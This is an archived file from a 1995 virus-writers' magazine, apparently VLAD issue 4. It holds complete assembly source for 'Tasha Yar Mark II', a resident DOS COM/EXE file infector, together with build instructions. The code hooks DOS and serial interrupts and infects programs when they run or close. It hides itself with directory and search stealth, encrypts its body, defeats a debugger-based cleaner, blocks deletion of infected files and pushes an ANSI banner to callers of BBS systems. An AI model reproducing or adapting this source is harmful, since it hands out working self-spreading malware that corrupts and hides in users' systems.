HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.4_7 < prev next >

Wrap

Text File | 1995-04-18 | 20.7 KB | 1,159 lines

; ; TASHA YAR - MARK II ; by Quantum [VLAD] ; ; A Com/Exe Infector.. Infects on Execute and stream closes ; ; Utilises FULL stealth, dir stealth & search stealth. ; (and some petty other stealth tricks that aren't worth mentioning) ; ; uses a tbclean debugger trap, undetectable encryption & residency check ; all in 1.. (look at da code :) ; ; contains a (sorta) payload....... ; ; The fossil driver infector - aimed at BBS's int 14 is taken over and on ; detection of carrier an ANSI is sent out to the user (not the sysop :) ; ; The Homicide Prevention Squad - Fixes the "delete and forget" problem by ; making it impossible to "delete" an infected exe/com ; ; To those of you that gimme shit about size considerations.. if you can ; find someone who notices that their fav exe/com suddenly gets bigger ; (when they can't even see the size increase) and decides to delete it ; (lotsa luck there buddy) then ............ ; ------------------------------------------------------------------------ ; ; A word of warning.. this is not a good virus to "test" .. wanna say good-bye ; to your HDD ? just make a few test exe's and com's like I did and try ; infecting them.. hang on a tic.. what's dos doing ? it's reloading ; command.com from disk ! that's not good.. I'll just have a look to see if ; command.com is infected.. nope.. wait a minute.. dir/search/full stealth ; I know! .. I'll just use my trusty backup util/tape drive.. wait up.. ; attribute/datetime stealth.. ; oh shit.. now where'd I put that boot disk ? ; ; BTW - Compile with TASM /m2 .. Tlink to exe.. DOSSEG .model small .stack .code hostcodestart: mov ax,04c00h int 21h hostcodeend: virusstart: push es call recalc recalc: mov si,sp mov bp,ss:[si] sub bp,offset recalc push es push cs push cs pop ds pop es lea si,[bp+startenc] lea di,[bp+startenc] xor dx,dx mov ax,1812h int 21h xor al,byte ptr [bp+encbyte] xchg ah,al call encdecrypt jmp startenc encbyte: db 0h jumpsave: dd 0 stacksave: dd 0 encdecrypt: mov cx,endenc-startenc encloop:lodsb xor al,ah stosb loop encloop ret startenc: in al,40h mov byte ptr [bp+encbyte],al pop es or dx,dx jnz backtohost mov ax,es dec ax mov ds,ax cmp byte ptr ds:[0],"Z" jnz backtohost mov si,21h*4 sub word ptr ds:[3],(virusend-virusstart)/2 ; need room for buffer sub word ptr ds:[12h],(virusend-virusstart)/2 mov ax,word ptr ds:[12h] mov es,ax xor ax,ax mov ds,ax push es push cs pop es lea di,[bp+oldint21] movsw movsw pop es mov word ptr ds:[si-4],int21handler-virusstart mov word ptr ds:[si-2],es push ds mov ah,4 xor dx,dx int 14h pop ds cmp ax,1954h jnz nofossil push es push cs pop es mov si,14h*4 lea di,[bp+oldint14off] movsw movsw pop es mov word ptr ds:[si-4],startint14-virusstart mov word ptr ds:[si-2],es nofossil: push cs pop ds lea si,[bp+virusstart] xor di,di mov cx,virusend-virusstart rep movsb backtohost: pop es push cs pop ds cmp byte ptr [bp+comorexe],0 jnz comreturn mov ax,es add ax,10h lea di,[bp+jumpsave+2] ; return for exes add [di],ax cli add ax,[di+4] mov ss,ax mov sp,[di+6] sti jmp $+2 jmp dword ptr cs:[bp+jumpsave] comorexe: db 0 comreturn: push cs pop es lea si,[bp+virusstart-3] mov di,0100h ; return for coms push di movsb movsw ret db "[Tasha Yar] by Quantum / VLAD" StartInt14: mov cs:[cur_function-virusstart],ah mov cs:[cur_port-virusstart],dx pushf db 09ah ; fossil driver payload oldint14off dw 0 oldint14seg dw 0 cmp byte ptr cs:[cur_function-virusstart],03h jz checkDCD iret checkDCD: push ax and al,10000000b cmp al,cs:[dcdstat-virusstart] jz nochange mov cs:[dcdstat-virusstart],al or al,al jz nochange call outtext nochange: pop ax iret outtext: push ax push bx push cx push dx push es push di mov ah,19h push cs pop es mov di,textblock-virusstart mov cx,endblock-textblock mov dx,cs:[cur_port-virusstart] int 14h pop di pop es pop dx pop cx pop bx pop ax ret cur_port: dw 0 cur_function: db 0 dcdstat: db 0 EndInt14: int21handler: cmp ax,1812h jnz notserv xor al,al mov dx,4310h iret notserv: cmp ah,4bh jz executing cmp ah,6ch jz xtendopening cmp ah,3dh jz opening cmp ah,11h jz diring cmp ah,12h jz diring cmp ah,4eh jz searching cmp ah,4fh jz searching cmp ah,3eh jz closing cmp ah,13h jnz playoldint jmp deleteing playoldint: db 0eah oldint21 dd 0 executing: call pushall call isitexe jnz notexe call infectexe jmp aftexec notexe: call isitcom jnz aftexec call infectcom aftexec: call popall jmp playoldint diring: call callit pushf call pushall call dirstealth call popall popf retf 2 searching: call callit pushf call pushall call searchstealth call popall popf retf 2 xtendopening: call pushall mov ax,03d02h mov dx,si call callit pushf xchg bx,ax mov ah,3eh call callit popf jc notfukable jmp opennotpush notfukable: call popall jmp playoldint opening: call pushall opennotpush: call isitexe jnz notexe1 call disinfectexe jmp notcom1 notexe1: call isitcom jnz notcom1 call disinfectcom notcom1: call popall jmp playoldint closing: call pushall cmp bx,5 ; so sue me.. jb notexe2 push bx mov ax,1220h int 2fh xor bx,bx mov bl,es:[di] mov ax,1216h int 2fh pop bx push es pop ds cmp byte ptr [di+2ah],"M" jnz notcom2 mov word ptr [di+2h],02h call infectcomonclose jmp aftreinfect notcom2: cmp byte ptr [di+2ah],"E" jnz notexe2 mov word ptr [di+2h],02h call infectexeonclose aftreinfect: call popall retf 2 notexe2: call popall jmp playoldint deleteing: ; HPS call pushall mov si,dx cmp byte ptr [si],0ffh jnz notxtended1 add si,7 notxtended1: inc si push cs pop es mov di,offset filename-virusstart movsw movsw movsw movsw mov al,"." stosb movsw movsb xor ax,ax stosb push cs pop ds mov ah,2fh call callit push es push bx mov dx,offset dta - virusstart mov ah,1ah call callit mov ah,04eh xor cx,cx ; allow for wild cards.. mov dx,offset filename - virusstart ; ends up not deleting int 21h ; any file specified if jc notinfected ; it has the tag even if ; it isnt a com/exe and checkfile: ; bombs out as soon as it ; finds one.. mov ax,03d00h mov dx,offset dta - virusstart +1eh call callit xchg bx,ax mov ax,04202h xor cx,cx xor dx,dx int 21h sub ax,2 sbb dx,0 mov cx,dx mov dx,ax mov ax,04200h call callit mov ah,3fh mov cx,2 mov dx,offset buffer - virusstart call callit mov ah,3eh call callit cmp word ptr ds:[offset buffer-virusstart],"@!" jz itsinfected mov ah,04fh mov dx,offset filename - virusstart call callit jnc checkfile notinfected: pop dx pop ds mov ah,1ah call callit call popall jmp playoldint itsinfected: pop dx pop ds mov ah,1ah call callit call popall clc xor ax,ax retf 2 ; some useful functions callit: pushf call dword ptr cs:[oldint21-virusstart] ret pushall: pop word ptr cs:[save-virusstart] push ax push bx push cx push dx push si push di push bp push ds push es push word ptr cs:[save-virusstart] ret save: dw 0 popall: pop word ptr cs:[save-virusstart] pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax push word ptr cs:[save-virusstart] ret lseeks: xor ax,ax jmp lseek lseeke: mov al,02h lseek: mov ah,042h xor cx,cx xor dx,dx call callit ret isitexe: mov si,dx findend1: lodsb or al,al jnz findend1 cmp byte ptr ds:[si-2],"E" jz kewl1 cmp byte ptr ds:[si-2],"e" kewl1: ret isitcom: mov si,dx findend2: lodsb or al,al jnz findend2 cmp byte ptr ds:[si-2],"M" jz kewl2 cmp byte ptr ds:[si-2],"m" kewl2: ret isitinfected: call lseeke sub ax,2 sbb dx,0 mov cx,dx mov dx,ax mov ax,04200h call callit mov ah,3fh mov cx,2 mov dx,buffer-virusstart call callit cmp word ptr ds:[buffer-virusstart],"@!" ret ; low level call structures.. dirstealth: mov ah,2fh call callit push es pop ds cmp byte ptr [bx],0ffh jnz notxtended add bx,7 notxtended: xor bp,bp cmp word ptr ds:[bx+0ah],"EX" jz openher1 cmp word ptr ds:[bx+0ah],"MO" jnz nogo1 mov bp,3 openher1: mov si,bx push si push es push cs pop es mov di,filename-virusstart inc si movsw movsw movsw movsw mov al,"." stosb movsw movsb mov al,0 stosb mov dx,filename-virusstart pop es pop si push cs pop ds mov ax,03d00h call callit xchg ax,bx call isitinfected jnz tiskewl1 add bp,virusend-virusstart sub word ptr es:[si+1dh],bp sbb word ptr es:[si+1dh+2],0 tiskewl1: mov ah,3eh call callit nogo1: ret searchstealth: mov ah,2fh call callit push es pop ds xor bp,bp mov dx,bx add dx,1eh call isitexe jz openher2 call isitcom jnz nogo2 mov bp,3 openher2: xchg bx,si mov ax,03d00h call callit push cs pop ds xchg ax,bx push si call isitinfected pop si jnz tiskewl2 add bp,virusend-virusstart sub word ptr es:[si+1ah],bp sbb word ptr es:[si+1ah+2],0 tiskewl2: mov ah,3eh call callit nogo2: ret disinfectcom: mov ax,4301h xor cx,cx call callit mov ax,03d02h call callit xchg bx,ax mov ax,05700h call callit push cx push dx call isitinfected jnz closeandgo call lseeke sub ax,virusend-virusstart+3 sbb dx,0 mov cx,dx mov dx,ax mov ax,04200h call callit push cs pop ds mov ah,03fh mov cx,3 mov dx,buffer - virusstart call callit call lseeks mov cx,3 mov dx,buffer - virusstart mov ah,40h call callit call lseeke sub ax,virusend-virusstart+3 sbb dx,0 mov cx,dx mov dx,ax mov ax,04200h call callit xor cx,cx mov ah,40h call callit closeandgo: pop dx pop cx mov ax,5701h call callit mov ah,03eh call callit ret disinfectexe: mov ax,4301h xor cx,cx call callit mov ax,03d02h call callit xchg bx,ax mov ax,05700h call callit push cx push dx call isitinfected jnz itsnotinfected call lseeke sub ax,jumpsave-virusend sbb dx,0 mov cx,dx mov dx,ax mov ax,04200h call callit mov ah,3fh mov cx,8 mov dx,buffer-virusstart call callit mov ax,04200h xor cx,cx mov dx,14h call callit mov cx,4 mov dx,buffer-virusstart mov ah,40h call callit mov ax,04200h xor cx,cx mov dx,0eh call callit mov cx,4 mov dx,buffer-virusstart + 4 mov ah,040h call callit call lseeke sub ax,virusend-virusstart + 3 sbb dx,0 mov cx,dx mov dx,ax mov ax,04200h call callit xor cx,cx mov ah,40h call callit itsnotinfected: pop dx pop cx mov ax,05701h call callit mov ah,03eh call callit itsnotanexe: ret infectexe: mov ax,4301h xor cx,cx call callit mov ax,03d02h call callit xchg bx,ax infectexeonclose: mov ax,05700h call callit push cx push dx push cs push cs pop es pop ds mov ah,03fh mov cx,18h mov si,(exeheader-virusstart) mov dx,si call callit mov di,(jumpsave-virusstart) mov ax,[si+14h] stosw mov ax,[si+16h] stosw mov ax,[si+0eh] stosw mov ax,[si+10h] stosw call lseeke mov cx,16 DIV cx add dx,20h dec ax dec ax jc closefile sub ax,[si+08h] mov [si+14h],dx mov [si+16h],ax call isitinfected jz closefile mov byte ptr ds:[comorexe-virusstart],0 push ds push cs push cs pop ds pop es push si mov ah,40h mov cx,startenc-virusstart xor dx,dx call callit mov si,startenc-virusstart mov di,virusend-virusstart push di mov ah, byte ptr ds:[encbyte-virusstart] call encdecrypt mov ah,040h mov cx,endenc-startenc pop dx call callit mov ah,40h mov cx,virusend-endenc mov dx,endenc-virusstart call callit pop si pop ds call lseeke mov cx,512 DIV cx inc ax mov [si+2],dx mov [si+4],ax mov [si+0eh],ax mov [si+10h],0400h call lseeks mov cx,18h mov dx,si mov ah,40h call callit closefile: pop dx pop cx mov ax,05701h call callit mov ah,03eh call callit ret infectcom: mov ax,4301h xor cx,cx call callit mov ax,03d02h call callit xchg bx,ax infectcomonclose: mov ax,05700h call callit push cx push dx call isitinfected jz closecomfile call lseeks push cs pop ds mov ah,3fh mov cx,3 mov dx,(buffer-virusstart) call callit call lseeke mov byte ptr ds:[buffer-virusstart+4],0e9h mov word ptr ds:[buffer-virusstart+5],ax call lseeks mov ah,040h mov cx,3 mov dx,(buffer-virusstart+4) call callit call lseeke mov ah,40h mov cx,3 mov dx,(buffer-virusstart) call callit mov byte ptr ds:[comorexe-virusstart],1 mov ah,40h mov cx,startenc-virusstart xor dx,dx call callit push cs push cs pop ds pop es mov si,startenc-virusstart mov di,virusend-virusstart push di mov ah,byte ptr ds:[encbyte-virusstart] call encdecrypt mov ah,040h mov cx,endenc-startenc pop dx call callit mov ah,40h mov cx,virusend-endenc mov dx,endenc-virusstart call callit closecomfile: pop dx pop cx mov ax,05701h call callit mov ah,03eh call callit ret buffer: db 0,0,0 filename: exeheader: db 18h dup (0) textblock: ; the ansi db 0, 27, 91, 63, 55, 104, 27, 91, 52, 48, 109 db 109, 27, 91, 50, 74, 27, 91, 53, 67, 27, 91 db 91, 48, 59, 49, 109, 219, 219, 219, 219, 219, 219 db 219, 219, 32, 220, 219, 219, 219, 219, 219, 220, 32 db 32, 220, 219, 219, 219, 219, 219, 220, 32, 219, 219 db 219, 32, 32, 32, 219, 219, 32, 220, 219, 219, 219 db 219, 219, 219, 220, 27, 91, 54, 67, 219, 219, 32 db 32, 32, 32, 219, 219, 32, 220, 219, 219, 219, 219 db 219, 219, 220, 32, 219, 219, 219, 219, 219, 219, 220 db 220, 13, 10, 27, 91, 55, 67, 222, 219, 221, 32 db 32, 32, 32, 219, 219, 220, 220, 220, 219, 219, 32 db 32, 219, 219, 220, 220, 220, 220, 32, 32, 219, 219 db 219, 220, 220, 220, 219, 219, 32, 219, 219, 220, 220 db 220, 220, 219, 219, 27, 91, 54, 67, 219, 219, 220 db 220, 32, 220, 219, 219, 32, 219, 219, 220, 220, 220 db 220, 219, 219, 32, 219, 219, 32, 32, 32, 219, 219 db 219, 13, 10, 27, 91, 55, 67, 222, 219, 221, 32 db 32, 32, 32, 219, 219, 223, 223, 223, 219, 219, 32 db 32, 32, 223, 223, 223, 223, 219, 219, 32, 219, 219 db 219, 223, 223, 223, 219, 219, 32, 219, 219, 223, 223 db 223, 223, 219, 219, 27, 91, 55, 67, 223, 219, 219 db 219, 219, 223, 32, 32, 219, 219, 223, 223, 223, 219 db 219, 219, 32, 219, 219, 219, 219, 219, 219, 13, 10 db 10, 27, 91, 55, 67, 222, 219, 221, 32, 32, 32 db 32, 219, 219, 32, 32, 32, 219, 219, 32, 223, 219 db 219, 219, 219, 219, 219, 223, 32, 219, 219, 32, 32 db 32, 32, 219, 219, 32, 219, 219, 32, 32, 32, 219 db 219, 219, 27, 91, 56, 67, 222, 219, 221, 32, 32 db 32, 32, 219, 219, 32, 32, 32, 219, 219, 32, 219 db 219, 219, 32, 32, 223, 219, 219, 13, 10, 27, 91 db 91, 50, 54, 67, 80, 114, 111, 117, 100, 108, 121 db 121, 32, 80, 114, 101, 115, 101, 110, 116, 101, 100 db 100, 32, 98, 121, 32, 81, 117, 97, 110, 116, 117 db 117, 109, 27, 91, 48, 109, 13, 10 endblock: endenc: tag db "!@" dta: virusend: end virusstart